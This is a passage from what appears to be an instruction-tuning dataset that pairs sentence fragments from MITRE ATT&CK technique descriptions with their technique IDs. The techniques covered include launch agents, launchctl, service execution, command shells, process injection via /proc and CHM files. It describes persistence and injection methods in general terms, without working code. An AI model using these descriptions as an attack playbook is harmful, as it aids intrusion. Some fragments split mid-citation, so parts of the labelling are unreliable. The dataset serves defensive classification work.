### Input: Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation:", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware)", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks. ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command. ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code>", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence)", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Launch Agent name may be disguised by using a name from the related operating system or benign software.", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Launch Agent name may be disguised by using a name from the related operating system or benign software. ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X)", "output": "T1543.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ### Response: T1543.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager)", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039). ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation:", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage these mechanisms to execute malicious content.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage these mechanisms to execute malicious content. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done by either executing a new or modified service.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done by either executing a new or modified service. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", "output": "T1569.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. ### Response: T1569.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse launchctl to execute commands or programs.", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse launchctl to execute commands or programs. ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launchctl interfaces with launchd, the service management framework for macOS.", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launchctl interfaces with launchd, the service management framework for macOS. ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man) ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>.", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use scripts or manually run the commands <code>launchctl load -w", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use scripts or manually run the commands <code>launchctl load -w ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)", "output": "T1569.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques) ### Response: T1569.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse system services or daemons to execute commands or programs.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse system services or daemons to execute commands or programs. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can execute malicious content by interacting with or creating services either locally or remotely.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can execute malicious content by interacting with or creating services either locally or remotely. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.", "output": "T1569", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. ### Response: T1569."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the Windows command shell for execution.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the Windows command shell for execution. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each running process has its own directory, which includes memory mappings.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each running process has its own directory, which includes memory mappings. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR).", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once enumerated, the target processes\u2019 memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once enumerated, the target processes\u2019 memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system.", "output": "T1223", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. ### Response: T1223."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018)", "output": "T1223", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) ### Response: T1223."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe).", "output": "T1223", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). ### Response: T1223."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft HTML Help Executable Program)", "output": "T1223", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft HTML Help Executable Program) ### Response: T1223."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this technology to conceal malicious code.", "output": "T1223", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this technology to conceal malicious code. ### Response: T1223."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1223", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A 